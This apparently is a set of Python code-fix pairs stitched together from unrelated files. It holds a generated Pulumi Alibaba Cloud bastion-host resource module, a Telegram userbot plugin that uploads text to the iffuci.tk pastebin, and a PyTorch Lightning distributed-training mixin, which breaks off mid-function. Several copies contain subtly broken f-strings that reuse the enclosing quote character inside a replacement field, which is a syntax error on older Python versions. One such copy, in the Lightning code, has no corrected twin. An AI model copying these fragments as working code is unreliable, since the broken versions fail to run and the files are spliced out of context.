$ pulumi import alicloud:bastionhost/hostGroupAccountUserAttachment:HostGroupAccountUserAttachment example <instance_id>:<user_id>:<host_group_id>
```
:param str resource_name: The name of the resource.
:param HostGroupAccountUserAttachmentArgs args: The arguments to use to populate this resource's properties.
:param pulumi.ResourceOptions opts: Options for the resource.
"""
...
def __init__(__self__, resource_name: str, *args, **kwargs):
resource_args, opts = _utilities.get_resource_args_opts(HostGroupAccountUserAttachmentArgs, pulumi.ResourceOptions, *args, **kwargs)
if resource_args is not None:
__self__._internal_init(resource_name, opts, **resource_args.__dict__)
else:
__self__._internal_init(resource_name, *args, **kwargs)
def _internal_init(__self__,
resource_name: str,
opts: Optional[pulumi.ResourceOptions] = None,
host_account_names: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None,
host_group_id: Optional[pulumi.Input[str]] = None,
instance_id: Optional[pulumi.Input[str]] = None,
user_id: Optional[pulumi.Input[str]] = None,
__props__=None):
if opts is None:
opts = pulumi.ResourceOptions()
if not isinstance(opts, pulumi.ResourceOptions):
raise TypeError('Expected resource options to be a ResourceOptions instance')
if opts.version is None:
opts.version = _utilities.get_version()
if opts.id is None:
if __props__ is not None:
raise TypeError('__props__ is only valid when passed in combination with a valid opts.id to get an existing resource')
__props__ = HostGroupAccountUserAttachmentArgs.__new__(HostGroupAccountUserAttachmentArgs)
if host_account_names is None and not opts.urn:
raise TypeError("Missing required property 'host_account_names'")
__props__.__dict__["host_account_names"] = host_account_names
if host_group_id is None and not opts.urn:
raise TypeError("Missing required property 'host_group_id'")
__props__.__dict__["host_group_id"] = host_group_id
if instance_id is None and not opts.urn:
raise TypeError("Missing required property 'instance_id'")
__props__.__dict__["instance_id"] = instance_id
if user_id is None and not opts.urn:
raise TypeError("Missing required property 'user_id'")
__props__.__dict__["user_id"] = user_id
super(HostGroupAccountUserAttachment, __self__).__init__(
'alicloud:bastionhost/hostGroupAccountUserAttachment:HostGroupAccountUserAttachment',
resource_name,
__props__,
opts)
@staticmethod
def get(resource_name: str,
id: pulumi.Input[str],
opts: Optional[pulumi.ResourceOptions] = None,
host_account_names: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None,
host_group_id: Optional[pulumi.Input[str]] = None,
instance_id: Optional[pulumi.Input[str]] = None,
user_id: Optional[pulumi.Input[str]] = None) -> 'HostGroupAccountUserAttachment':
"""
Get an existing HostGroupAccountUserAttachment resource's state with the given name, id, and optional extra
properties used to qualify the lookup.
:param str resource_name: The unique name of the resulting resource.
:param pulumi.Input[str] id: The unique provider ID of the resource to lookup.
:param pulumi.ResourceOptions opts: Options for the resource.
:param pulumi.Input[Sequence[pulumi.Input[str]]] host_account_names: A list names of the host account.
:param pulumi.Input[str] host_group_id: The ID of the host group.
:param pulumi.Input[str] instance_id: The ID of the Bastionhost instance where you want to authorize the user to manage the specified hosts and host accounts.
:param pulumi.Input[str] user_id: The ID of the user that you want to authorize to manage the specified hosts and host accounts.
"""
opts = pulumi.ResourceOptions.merge(opts, pulumi.ResourceOptions(id=id))
__props__ = _HostGroupAccountUserAttachmentState.__new__(_HostGroupAccountUserAttachmentState)
__props__.__dict__["host_account_names"] = host_account_names
__props__.__dict__["host_group_id"] = host_group_id
__props__.__dict__["instance_id"] = instance_id
__props__.__dict__["user_id"] = user_id
return HostGroupAccountUserAttachment(resource_name, opts=opts, __props__=__props__)
@property
@pulumi.getter(name="hostAccountNames")
def host_account_names(self) -> pulumi.Output[Sequence[str]]:
"""
A list names of the host account.
"""
return pulumi.get(self, "host_account_names")
@property
@pulumi.getter(name="hostGroupId")
def host_group_id(self) -> pulumi.Output[str]:
"""
The ID of the host group.
"""
return pulumi.get(self, "host_group_id")
@property
@pulumi.getter(name="instanceId")
def instance_id(self) -> pulumi.Output[str]:
"""
The ID of the Bastionhost instance where you want to authorize the user to manage the specified hosts and host accounts.
"""
return pulumi.get(self, "instance_id")
@property
@pulumi.getter(name="userId")
def user_id(self) -> pulumi.Output[str]:
"""
The ID of the user that you want to authorize to manage the specified hosts and host accounts.
"""
return pulumi.get(self, "user_id")
| # coding=utf-8
# *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. ***
# *** Do not edit by hand unless you're certain you know what you are doing! ***
import warnings
import pulumi
import pulumi.runtime
from typing import Any, Mapping, Optional, Sequence, Union, overload
from .. import _utilities
__all__ = ['HostGroupAccountUserAttachmentArgs', 'HostGroupAccountUserAttachment']
@pulumi.input_type
class HostGroupAccountUserAttachmentArgs:
def __init__(__self__, *,
host_account_names: pulumi.Input[Sequence[pulumi.Input[str]]],
host_group_id: pulumi.Input[str],
instance_id: pulumi.Input[str],
user_id: pulumi.Input[str]):
"""
The set of arguments for constructing a HostGroupAccountUserAttachment resource.
:param pulumi.Input[Sequence[pulumi.Input[str]]] host_account_names: A list names of the host account.
:param pulumi.Input[str] host_group_id: The ID of the host group.
:param pulumi.Input[str] instance_id: The ID of the Bastionhost instance where you want to authorize the user to manage the specified hosts and host accounts.
:param pulumi.Input[str] user_id: The ID of the user that you want to authorize to manage the specified hosts and host accounts.
"""
pulumi.set(__self__, "host_account_names", host_account_names)
pulumi.set(__self__, "host_group_id", host_group_id)
pulumi.set(__self__, "instance_id", instance_id)
pulumi.set(__self__, "user_id", user_id)
@property
@pulumi.getter(name="hostAccountNames")
def host_account_names(self) -> pulumi.Input[Sequence[pulumi.Input[str]]]:
"""
A list names of the host account.
"""
return pulumi.get(self, "host_account_names")
@host_account_names.setter
def host_account_names(self, value: pulumi.Input[Sequence[pulumi.Input[str]]]):
pulumi.set(self, "host_account_names", value)
@property
@pulumi.getter(name="hostGroupId")
def host_group_id(self) -> pulumi.Input[str]:
"""
The ID of the host group.
"""
return pulumi.get(self, "host_group_id")
@host_group_id.setter
def host_group_id(self, value: pulumi.Input[str]):
pulumi.set(self, "host_group_id", value)
@property
@pulumi.getter(name="instanceId")
def instance_id(self) -> pulumi.Input[str]:
"""
The ID of the Bastionhost instance where you want to authorize the user to manage the specified hosts and host accounts.
"""
return pulumi.get(self, "instance_id")
@instance_id.setter
def instance_id(self, value: pulumi.Input[str]):
pulumi.set(self, "instance_id", value)
@property
@pulumi.getter(name="userId")
def user_id(self) -> pulumi.Input[str]:
"""
The ID of the user that you want to authorize to manage the specified hosts and host accounts.
"""
return pulumi.get(self, "user_id")
@user_id.setter
def user_id(self, value: pulumi.Input[str]):
pulumi.set(self, "user_id", value)
@pulumi.input_type
class _HostGroupAccountUserAttachmentState:
def __init__(__self__, *,
host_account_names: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None,
host_group_id: Optional[pulumi.Input[str]] = None,
instance_id: Optional[pulumi.Input[str]] = None,
user_id: Optional[pulumi.Input[str]] = None):
"""
Input properties used for looking up and filtering HostGroupAccountUserAttachment resources.
:param pulumi.Input[Sequence[pulumi.Input[str]]] host_account_names: A list names of the host account.
:param pulumi.Input[str] host_group_id: The ID of the host group.
:param pulumi.Input[str] instance_id: The ID of the Bastionhost instance where you want to authorize the user to manage the specified hosts and host accounts.
:param pulumi.Input[str] user_id: The ID of the user that you want to authorize to manage the specified hosts and host accounts.
"""
if host_account_names is not None:
pulumi.set(__self__, "host_account_names", host_account_names)
if host_group_id is not None:
pulumi.set(__self__, "host_group_id", host_group_id)
if instance_id is not None:
pulumi.set(__self__, "instance_id", instance_id)
if user_id is not None:
pulumi.set(__self__, "user_id", user_id)
@property
@pulumi.getter(name="hostAccountNames")
def host_account_names(self) -> Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]:
"""
A list names of the host account.
"""
return pulumi.get(self, "host_account_names")
@host_account_names.setter
def host_account_names(self, value: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]):
pulumi.set(self, "host_account_names", value)
@property
@pulumi.getter(name="hostGroupId")
def host_group_id(self) -> Optional[pulumi.Input[str]]:
"""
The ID of the host group.
"""
return pulumi.get(self, "host_group_id")
@host_group_id.setter
def host_group_id(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "host_group_id", value)
@property
@pulumi.getter(name="instanceId")
def instance_id(self) -> Optional[pulumi.Input[str]]:
"""
The ID of the Bastionhost instance where you want to authorize the user to manage the specified hosts and host accounts.
"""
return pulumi.get(self, "instance_id")
@instance_id.setter
def instance_id(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "instance_id", value)
@property
@pulumi.getter(name="userId")
def user_id(self) -> Optional[pulumi.Input[str]]:
"""
The ID of the user that you want to authorize to manage the specified hosts and host accounts.
"""
return pulumi.get(self, "user_id")
@user_id.setter
def user_id(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "user_id", value)
class HostGroupAccountUserAttachment(pulumi.CustomResource):
@overload
def __init__(__self__,
resource_name: str,
opts: Optional[pulumi.ResourceOptions] = None,
host_account_names: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None,
host_group_id: Optional[pulumi.Input[str]] = None,
instance_id: Optional[pulumi.Input[str]] = None,
user_id: Optional[pulumi.Input[str]] = None,
__props__=None):
"""
Provides a Bastion Host Host Account Attachment resource to add list host accounts into one user and one host group.
> **NOTE:** Available in v1.135.0+.
## Example Usage
Basic Usage
```python
import pulumi
import pulumi_alicloud as alicloud
default_host = alicloud.bastionhost.Host("defaultHost",
instance_id="bastionhost-cn-tl3xxxxxxx",
host_name=var["name"],
active_address_type="Private",
host_private_address="172.16.0.10",
os_type="Linux",
source="Local")
default_host_account = []
for range in [{"value": i} for i in range(0, 3)]:
default_host_account.append(alicloud.bastionhost.HostAccount(f"defaultHostAccount-{range['value']}",
instance_id=default_host.instance_id,
host_account_name=f"example_value-{range['value']}",
host_id=default_host.host_id,
protocol_name="SSH",
password="YourPassword12345"))
default_user = alicloud.bastionhost.User("defaultUser",
instance_id=default_host.instance_id,
mobile_country_code="CN",
mobile="13312345678",
password="YourPassword-123",
source="Local",
user_name="my-local-user")
default_host_group = alicloud.bastionhost.HostGroup("defaultHostGroup",
host_group_name="example_value",
instance_id="bastionhost-cn-tl3xxxxxxx")
default_host_group_account_user_attachment = alicloud.bastionhost.HostGroupAccountUserAttachment("defaultHostGroupAccountUserAttachment",
instance_id=default_host.instance_id,
user_id=default_user.user_id,
host_group_id=default_host_group.host_group_id,
host_account_names=[__item.host_account_name for __item in default_host_account])
```
## Import
Bastion Host Host Account can be imported using the id, e.g.
```sh
$ pulumi import alicloud:bastionhost/hostGroupAccountUserAttachment:HostGroupAccountUserAttachment example <instance_id>:<user_id>:<host_group_id>
```
:param str resource_name: The name of the resource.
:param pulumi.ResourceOptions opts: Options for the resource.
:param pulumi.Input[Sequence[pulumi.Input[str]]] host_account_names: A list names of the host account.
:param pulumi.Input[str] host_group_id: The ID of the host group.
:param pulumi.Input[str] instance_id: The ID of the Bastionhost instance where you want to authorize the user to manage the specified hosts and host accounts.
:param pulumi.Input[str] user_id: The ID of the user that you want to authorize to manage the specified hosts and host accounts.
"""
...
@overload
def __init__(__self__,
resource_name: str,
args: HostGroupAccountUserAttachmentArgs,
opts: Optional[pulumi.ResourceOptions] = None):
"""
Provides a Bastion Host Host Account Attachment resource to add list host accounts into one user and one host group.
> **NOTE:** Available in v1.135.0+.
## Example Usage
Basic Usage
```python
import pulumi
import pulumi_alicloud as alicloud
default_host = alicloud.bastionhost.Host("defaultHost",
instance_id="bastionhost-cn-tl3xxxxxxx",
host_name=var["name"],
active_address_type="Private",
host_private_address="172.16.0.10",
os_type="Linux",
source="Local")
default_host_account = []
for range in [{"value": i} for i in range(0, 3)]:
default_host_account.append(alicloud.bastionhost.HostAccount(f"defaultHostAccount-{range['value']}",
instance_id=default_host.instance_id,
host_account_name=f"example_value-{range['value']}",
host_id=default_host.host_id,
protocol_name="SSH",
password="YourPassword12345"))
default_user = alicloud.bastionhost.User("defaultUser",
instance_id=default_host.instance_id,
mobile_country_code="CN",
mobile="13312345678",
password="YourPassword-123",
source="Local",
user_name="my-local-user")
default_host_group = alicloud.bastionhost.HostGroup("defaultHostGroup",
host_group_name="example_value",
instance_id="bastionhost-cn-tl3xxxxxxx")
default_host_group_account_user_attachment = alicloud.bastionhost.HostGroupAccountUserAttachment("defaultHostGroupAccountUserAttachment",
instance_id=default_host.instance_id,
user_id=default_user.user_id,
host_group_id=default_host_group.host_group_id,
host_account_names=[__item.host_account_name for __item in default_host_account])
```
## Import
Bastion Host Host Account can be imported using the id, e.g.
```sh
$ pulumi import alicloud:bastionhost/hostGroupAccountUserAttachment:HostGroupAccountUserAttachment example <instance_id>:<user_id>:<host_group_id>
```
:param str resource_name: The name of the resource.
:param HostGroupAccountUserAttachmentArgs args: The arguments to use to populate this resource's properties.
:param pulumi.ResourceOptions opts: Options for the resource.
"""
...
def __init__(__self__, resource_name: str, *args, **kwargs):
resource_args, opts = _utilities.get_resource_args_opts(HostGroupAccountUserAttachmentArgs, pulumi.ResourceOptions, *args, **kwargs)
if resource_args is not None:
__self__._internal_init(resource_name, opts, **resource_args.__dict__)
else:
__self__._internal_init(resource_name, *args, **kwargs)
def _internal_init(__self__,
resource_name: str,
opts: Optional[pulumi.ResourceOptions] = None,
host_account_names: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None,
host_group_id: Optional[pulumi.Input[str]] = None,
instance_id: Optional[pulumi.Input[str]] = None,
user_id: Optional[pulumi.Input[str]] = None,
__props__=None):
if opts is None:
opts = pulumi.ResourceOptions()
if not isinstance(opts, pulumi.ResourceOptions):
raise TypeError('Expected resource options to be a ResourceOptions instance')
if opts.version is None:
opts.version = _utilities.get_version()
if opts.id is None:
if __props__ is not None:
raise TypeError('__props__ is only valid when passed in combination with a valid opts.id to get an existing resource')
__props__ = HostGroupAccountUserAttachmentArgs.__new__(HostGroupAccountUserAttachmentArgs)
if host_account_names is None and not opts.urn:
raise TypeError("Missing required property 'host_account_names'")
__props__.__dict__["host_account_names"] = host_account_names
if host_group_id is None and not opts.urn:
raise TypeError("Missing required property 'host_group_id'")
__props__.__dict__["host_group_id"] = host_group_id
if instance_id is None and not opts.urn:
raise TypeError("Missing required property 'instance_id'")
__props__.__dict__["instance_id"] = instance_id
if user_id is None and not opts.urn:
raise TypeError("Missing required property 'user_id'")
__props__.__dict__["user_id"] = user_id
super(HostGroupAccountUserAttachment, __self__).__init__(
'alicloud:bastionhost/hostGroupAccountUserAttachment:HostGroupAccountUserAttachment',
resource_name,
__props__,
opts)
@staticmethod
def get(resource_name: str,
id: pulumi.Input[str],
opts: Optional[pulumi.ResourceOptions] = None,
host_account_names: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None,
host_group_id: Optional[pulumi.Input[str]] = None,
instance_id: Optional[pulumi.Input[str]] = None,
user_id: Optional[pulumi.Input[str]] = None) -> 'HostGroupAccountUserAttachment':
"""
Get an existing HostGroupAccountUserAttachment resource's state with the given name, id, and optional extra
properties used to qualify the lookup.
:param str resource_name: The unique name of the resulting resource.
:param pulumi.Input[str] id: The unique provider ID of the resource to lookup.
:param pulumi.ResourceOptions opts: Options for the resource.
:param pulumi.Input[Sequence[pulumi.Input[str]]] host_account_names: A list names of the host account.
:param pulumi.Input[str] host_group_id: The ID of the host group.
:param pulumi.Input[str] instance_id: The ID of the Bastionhost instance where you want to authorize the user to manage the specified hosts and host accounts.
:param pulumi.Input[str] user_id: The ID of the user that you want to authorize to manage the specified hosts and host accounts.
"""
opts = pulumi.ResourceOptions.merge(opts, pulumi.ResourceOptions(id=id))
__props__ = _HostGroupAccountUserAttachmentState.__new__(_HostGroupAccountUserAttachmentState)
__props__.__dict__["host_account_names"] = host_account_names
__props__.__dict__["host_group_id"] = host_group_id
__props__.__dict__["instance_id"] = instance_id
__props__.__dict__["user_id"] = user_id
return HostGroupAccountUserAttachment(resource_name, opts=opts, __props__=__props__)
@property
@pulumi.getter(name="hostAccountNames")
def host_account_names(self) -> pulumi.Output[Sequence[str]]:
"""
A list names of the host account.
"""
return pulumi.get(self, "host_account_names")
@property
@pulumi.getter(name="hostGroupId")
def host_group_id(self) -> pulumi.Output[str]:
"""
The ID of the host group.
"""
return pulumi.get(self, "host_group_id")
@property
@pulumi.getter(name="instanceId")
def instance_id(self) -> pulumi.Output[str]:
"""
The ID of the Bastionhost instance where you want to authorize the user to manage the specified hosts and host accounts.
"""
return pulumi.get(self, "instance_id")
@property
@pulumi.getter(name="userId")
def user_id(self) -> pulumi.Output[str]:
"""
The ID of the user that you want to authorize to manage the specified hosts and host accounts.
"""
return pulumi.get(self, "user_id")
|
"""iffuci.tk pastebin site
Code written by @loxxi {iffuci}
Syntax: .iffuci"""
from datetime import datetime
import os
import requests
from uniborg.util import admin_cmd
def progress(current, total):
logger.info("Downloaded {} of {}\nCompleted {}".format(current, total, (current / total) * 100))
@borg.on(admin_cmd(pattern="iffuci ?(.*)"))
async def _(event):
if event.fwd_from:
return
start = datetime.now()
if not os.path.isdir(Config.TMP_DOWNLOAD_DIRECTORY):
os.makedirs(Config.TMP_DOWNLOAD_DIRECTORY)
input_str = event.pattern_match.group(1)
message = "SYNTAX: `.iffuci <long text to include>`"
if input_str:
message = input_str
elif event.reply_to_msg_id:
previous_message = await event.get_reply_message()
if previous_message.media:
downloaded_file_name = await borg.download_media(
previous_message,
Config.TMP_DOWNLOAD_DIRECTORY,
progress_callback=progress
)
m_list = None
with open(downloaded_file_name, "rb") as fd:
m_list = fd.readlines()
message = ""
for m in m_list:
message += m.decode("UTF-8") + "\r\n"
os.remove(downloaded_file_name)
else:
message = previous_message.message
else:
message = "SYNTAX: `.iffuci <long text to include>`"
url = "https://www.iffuci.tk/documents"
r = requests.post(url, data=message.encode("UTF-8")).json()
url = f"https://iffuci.tk/{r["key"]}"
end = datetime.now()
ms = (end - start).seconds
if r["isUrl"]:
nurl = f"https://iffuci.tk/v/{r["key"]}"
await event.edit("Code is Pasted to {} in {} seconds. **GoTo Original URL:** {}".format(url, ms, nurl))
else:
await event.edit("Code is Pasted to {} in {} seconds".format(url, ms))
| """iffuci.tk pastebin site
Code written by @loxxi {iffuci}
Syntax: .iffuci"""
from datetime import datetime
import os
import requests
from uniborg.util import admin_cmd
def progress(current, total):
logger.info("Downloaded {} of {}\nCompleted {}".format(current, total, (current / total) * 100))
@borg.on(admin_cmd(pattern="iffuci ?(.*)"))
async def _(event):
if event.fwd_from:
return
start = datetime.now()
if not os.path.isdir(Config.TMP_DOWNLOAD_DIRECTORY):
os.makedirs(Config.TMP_DOWNLOAD_DIRECTORY)
input_str = event.pattern_match.group(1)
message = "SYNTAX: `.iffuci <long text to include>`"
if input_str:
message = input_str
elif event.reply_to_msg_id:
previous_message = await event.get_reply_message()
if previous_message.media:
downloaded_file_name = await borg.download_media(
previous_message,
Config.TMP_DOWNLOAD_DIRECTORY,
progress_callback=progress
)
m_list = None
with open(downloaded_file_name, "rb") as fd:
m_list = fd.readlines()
message = ""
for m in m_list:
message += m.decode("UTF-8") + "\r\n"
os.remove(downloaded_file_name)
else:
message = previous_message.message
else:
message = "SYNTAX: `.iffuci <long text to include>`"
url = "https://www.iffuci.tk/documents"
r = requests.post(url, data=message.encode("UTF-8")).json()
url = f"https://iffuci.tk/{r['key']}"
end = datetime.now()
ms = (end - start).seconds
if r["isUrl"]:
nurl = f"https://iffuci.tk/v/{r['key']}"
await event.edit("Code is Pasted to {} in {} seconds. **GoTo Original URL:** {}".format(url, ms, nurl))
else:
await event.edit("Code is Pasted to {} in {} seconds".format(url, ms))
|
"""
Lightning supports model training on a cluster managed by SLURM in the following cases:
1. Training on a single cpu or single GPU.
2. Train on multiple GPUs on the same node using DataParallel or DistributedDataParallel
3. Training across multiple GPUs on multiple different nodes via DistributedDataParallel.
.. note:: A node means a machine with multiple GPUs
Running grid search on a cluster
--------------------------------
To use lightning to run a hyperparameter search (grid-search or random-search) on a cluster do 4 things:
(1). Define the parameters for the grid search
.. code-block:: python
from test_tube import HyperOptArgumentParser
# subclass of argparse
parser = HyperOptArgumentParser(strategy='random_search')
parser.add_argument('--learning_rate', default=0.002, type=float, help='the learning rate')
# let's enable optimizing over the number of layers in the network
parser.opt_list('--nb_layers', default=2, type=int, tunable=True, options=[2, 4, 8])
hparams = parser.parse_args()
.. note:: You must set `Tunable=True` for that argument to be considered in the permutation set.
Otherwise test-tube will use the default value. This flag is useful when you don't want
to search over an argument and want to use the default instead.
(2). Define the cluster options in the
`SlurmCluster object <https://williamfalcon.github.io/test-tube/hpc/SlurmCluster>`_ (over 5 nodes and 8 gpus)
.. code-block:: python
from test_tube.hpc import SlurmCluster
# hyperparameters is a test-tube hyper params object
# see https://williamfalcon.github.io/test-tube/hyperparameter_optimization/HyperOptArgumentParser/
hyperparams = args.parse()
# init cluster
cluster = SlurmCluster(
hyperparam_optimizer=hyperparams,
log_path='/path/to/log/results/to',
python_cmd='python3'
)
# let the cluster know where to email for a change in job status (ie: complete, fail, etc...)
cluster.notify_job_status(email='some@email.com', on_done=True, on_fail=True)
# set the job options. In this instance, we'll run 20 different models
# each with its own set of hyperparameters giving each one 1 GPU (ie: taking up 20 GPUs)
cluster.per_experiment_nb_gpus = 8
cluster.per_experiment_nb_nodes = 5
# we'll request 10GB of memory per node
cluster.memory_mb_per_node = 10000
# set a walltime of 10 minues
cluster.job_time = '10:00'
(3). Make a main function with your model and trainer. Each job will call this function with a particular
hparams configuration.::
from pytorch_lightning import Trainer
def train_fx(trial_hparams, cluster_manager, _):
# hparams has a specific set of hyperparams
my_model = MyLightningModel()
# give the trainer the cluster object
trainer = Trainer()
trainer.fit(my_model)
`
(4). Start the grid/random search::
# run the models on the cluster
cluster.optimize_parallel_cluster_gpu(
train_fx,
nb_trials=20,
job_name='my_grid_search_exp_name',
job_display_name='my_exp')
.. note:: `nb_trials` specifies how many of the possible permutations to use. If using `grid_search` it will use
the depth first ordering. If using `random_search` it will use the first k shuffled options. FYI, random search
has been shown to be just as good as any Bayesian optimization method when using a reasonable number of samples (60),
see this `paper <http://www.jmlr.org/papers/volume13/bergstra12a/bergstra12a.pdf>`_ for more information.
Walltime auto-resubmit
----------------------
Lightning automatically resubmits jobs when they reach the walltime. Make sure to set the SIGUSR1 signal in
your SLURM script.::
# 90 seconds before training ends
#SBATCH --signal=SIGUSR1@90
When lightning receives the SIGUSR1 signal it will:
1. save a checkpoint with 'hpc_ckpt' in the name.
2. resubmit the job using the SLURM_JOB_ID
When the script starts again, Lightning will:
1. search for a 'hpc_ckpt' checkpoint.
2. restore the model, optimizers, schedulers, epoch, etc...
"""
import os
import re
from abc import ABC, abstractmethod
from typing import Union, List, Optional, Callable, Tuple
import subprocess
import sys
from time import sleep
import numpy as np
from os.path import abspath
import torch
from pytorch_lightning import _logger as log
from pytorch_lightning.callbacks import ModelCheckpoint
from pytorch_lightning.loggers import LightningLoggerBase
from pytorch_lightning.utilities.exceptions import MisconfigurationException
from pytorch_lightning.utilities.distributed import rank_zero_only, rank_zero_warn, rank_zero_info
try:
from apex import amp
except ImportError:
APEX_AVAILABLE = False
else:
APEX_AVAILABLE = True
try:
import horovod.torch as hvd
except ImportError:
HOROVOD_AVAILABLE = False
else:
HOROVOD_AVAILABLE = True
try:
from hydra.utils import to_absolute_path
except ImportError:
HYDRA_AVAILABLE = False
else:
HYDRA_AVAILABLE = True
class TrainerDDPMixin(ABC):
# this is just a summary on variables used in this abstract class,
# the proper values/initialisation should be done in child class
on_gpu: bool
num_gpu_nodes: int
gpus: List[int]
logger: Union[LightningLoggerBase, bool]
checkpoint_callback: Union[ModelCheckpoint, bool]
data_parallel_device_ids: ...
distributed_backend: Optional[str]
amp_level: str
use_tpu: bool
default_root_dir: str
use_native_amp: bool
progress_bar_callback: ...
num_processes: int
num_nodes: int
node_rank: int
@property
def is_global_zero(self) -> int:
"""Warning: this is just empty shell for code implemented in other class."""
@property
@abstractmethod
def num_gpus(self) -> int:
"""Warning: this is just empty shell for code implemented in other class."""
@property
@abstractmethod
def use_amp(self) -> bool:
"""Warning: this is just empty shell for code implemented in other class."""
@abstractmethod
def copy_trainer_model_properties(self, *args):
"""Warning: this is just empty shell for code implemented in other class."""
@abstractmethod
def run_pretrain_routine(self, *args):
"""Warning: this is just empty shell for code implemented in other class."""
@abstractmethod
def init_optimizers(self, *args) -> Tuple[List, List, List]:
"""Warning: this is just empty shell for code implemented in other class."""
@abstractmethod
def reinit_scheduler_properties(self, *args):
"""Warning: this is just empty shell for code implemented in other class."""
@abstractmethod
def save_checkpoint(self, *args):
"""Warning: this is just empty shell for code implemented in other class."""
def init_tpu(self):
# turn off all the GPU stuff
self.distributed_backend = None
# enable tpu
self.use_tpu = True
def set_distributed_mode(self, distributed_backend):
self.use_dp = False
self.use_ddp = False
self.use_ddp2 = False
self.use_horovod = False
self.single_gpu = False
if distributed_backend is None:
if self.has_horovodrun():
self._set_horovod_backend()
elif self.num_gpus == 0:
if self.num_nodes > 1 or self.num_processes > 1:
self.use_ddp = True # ddp_cpu
elif self.num_gpus == 1:
self.single_gpu = True
elif self.num_gpus > 1:
rank_zero_warn('You requested multiple GPUs but did not specify a backend, e.g.'
' Trainer(distributed_backend=dp) (or ddp, ddp2).'
' Setting distributed_backend=ddp_spawn for you.')
self.distributed_backend = 'ddp_spawn'
distributed_backend = 'ddp_spawn'
if distributed_backend == "dp":
# do nothing if num_gpus == 0
if self.num_gpus == 1:
self.single_gpu = True
self.use_dp = True
elif self.num_gpus > 1:
self.use_dp = True
elif distributed_backend in ['ddp', 'ddp_spawn']:
if self.num_gpus == 0:
if self.num_nodes > 1 or self.num_processes > 1:
self.use_ddp = True # ddp_cpu
elif self.num_gpus == 1:
self.single_gpu = True
self.use_ddp = True
elif self.num_gpus > 1:
self.use_ddp = True
self.num_processes = self.num_gpus
elif distributed_backend == "ddp2":
# do nothing if num_gpus == 0
if self.num_gpus >= 1:
self.use_ddp2 = True
elif distributed_backend == "ddp_cpu":
if self.num_gpus > 0:
rank_zero_warn('You requested one or more GPUs, but set the backend to `ddp_cpu`.'
' Training will not use GPUs.')
self.use_ddp = True
self.data_parallel_device_ids = None
self.on_gpu = False
elif distributed_backend == 'horovod':
self._set_horovod_backend()
# throw error to force user ddp or ddp2 choice
if self.num_nodes > 1 and not (self.use_ddp2 or self.use_ddp):
raise MisconfigurationException(
'DataParallel does not support num_nodes > 1. Switching to DistributedDataParallel for you. '
'To silence this warning set distributed_backend=ddp or distributed_backend=ddp2'
)
rank_zero_info(f'GPU available: {torch.cuda.is_available()}, used: {self.on_gpu}')
def configure_slurm_ddp(self, num_gpu_nodes):
self.is_slurm_managing_tasks = False
# extract SLURM flag vars
# whenever we have the correct number of tasks, we let slurm manage processes
# otherwise we launch the required number of processes
if self.use_ddp:
self.num_requested_gpus = self.num_gpus * num_gpu_nodes
self.num_slurm_tasks = 0
try:
self.num_slurm_tasks = int(os.environ['SLURM_NTASKS'])
self.is_slurm_managing_tasks = self.num_slurm_tasks == self.num_requested_gpus
# in interactive mode we don't manage tasks
job_name = os.environ['SLURM_JOB_NAME']
if job_name == 'bash':
self.is_slurm_managing_tasks = False
except Exception:
# likely not on slurm, so set the slurm managed flag to false
self.is_slurm_managing_tasks = False
# used for tests only, set this flag to simulate slurm managing a task
try:
should_fake = int(os.environ['FAKE_SLURM_MANAGING_TASKS'])
if should_fake:
self.is_slurm_managing_tasks = True
except Exception:
pass
# notify user the that slurm is managing tasks
if self.is_slurm_managing_tasks:
rank_zero_info('Multi-processing is handled by Slurm.')
def determine_local_rank(self):
if self.is_slurm_managing_tasks:
return int(os.environ['SLURM_LOCALID'])
else:
return int(os.environ.get('LOCAL_RANK', 0))
def determine_ddp_node_rank(self):
if self.is_slurm_managing_tasks:
return int(os.environ['SLURM_NODEID'])
# torchelastic uses the envvar GROUP_RANK, whereas other systems(?) use NODE_RANK.
# otherwise use given node rank or default to node rank 0
env_vars = ['NODE_RANK', 'GROUP_RANK']
node_ids = [(k, os.environ.get(k, None)) for k in env_vars]
node_ids = [(k, v) for k, v in node_ids if v is not None]
if len(node_ids) == 0:
log.warning("No environment variable for node rank defined. Set as 0.")
return 0
if len(node_ids) > 1:
log.warning(f"Multiple environment variables ({node_ids}) defined for node rank. "
f"Using the first one.")
k, rank = node_ids.pop()
rank_zero_info(f"Using environment variable {k} for node rank ({rank}).")
return int(rank)
def set_nvidia_flags(self, is_slurm_managing_tasks, data_parallel_device_ids):
if data_parallel_device_ids is None:
return
# set the correct cuda visible devices (using pci order)
os.environ["CUDA_DEVICE_ORDER"] = "PCI_BUS_ID"
# when slurm is managing the task it sets the visible devices
if not is_slurm_managing_tasks and 'CUDA_VISIBLE_DEVICES' not in os.environ:
if isinstance(data_parallel_device_ids, int):
id_str = ','.join(str(x) for x in list(range(data_parallel_device_ids)))
os.environ["CUDA_VISIBLE_DEVICES"] = id_str
else:
gpu_str = ','.join([str(x) for x in data_parallel_device_ids])
os.environ["CUDA_VISIBLE_DEVICES"] = gpu_str
# don't make this debug... this is good UX
rank_zero_info(f'CUDA_VISIBLE_DEVICES: [{os.environ['CUDA_VISIBLE_DEVICES']}]')
def __set_random_port(self):
"""
When running DDP NOT managed by SLURM, the ports might collide
:return:
"""
try:
default_port = os.environ['MASTER_PORT']
except Exception:
import random
default_port = random.randint(10000, 19000)
os.environ['MASTER_PORT'] = str(default_port)
def spawn_ddp_children(self, model):
self.__set_random_port()
port = os.environ['MASTER_PORT']
master_address = '127.0.0.1' if 'MASTER_ADDR' not in os.environ else os.environ['MASTER_ADDR']
os.environ['MASTER_PORT'] = f'{port}'
os.environ['MASTER_ADDR'] = f'{master_address}'
# allow the user to pass the node rank
node_rank = '0'
if 'NODE_RANK' in os.environ:
node_rank = os.environ['NODE_RANK']
if 'GROUP_RANK' in os.environ:
node_rank = os.environ['GROUP_RANK']
os.environ['NODE_RANK'] = node_rank
os.environ['LOCAL_RANK'] = '0'
